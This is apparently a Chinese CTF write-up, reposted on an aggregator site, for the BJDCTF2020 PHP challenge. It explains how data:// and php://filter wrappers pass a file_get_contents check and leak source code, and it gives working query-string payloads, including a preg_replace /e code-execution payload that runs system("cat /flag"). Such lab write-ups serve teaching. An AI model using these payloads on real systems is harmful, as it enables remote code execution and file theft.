首页 > 其他 > 详细

[BJDCTF2020]ZJCTF,不过如此

时间:2021-03-29 14:01:54      阅读:15      评论:0      收藏:0      [点我收藏+]

技术分享图片

 

 

get传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。
看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

技术分享图片

 

 base64解码得到源码

深入研究preg_replace与代码执行

e模式的preg_replace,有一个远程代码执行漏洞。
思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。

 

next.php?\S*=${getFlag()}&cmd=system("cat /flag");

 

 技术分享图片

 

[BJDCTF2020]ZJCTF,不过如此

原文:https://www.cnblogs.com/tac2664/p/14591803.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!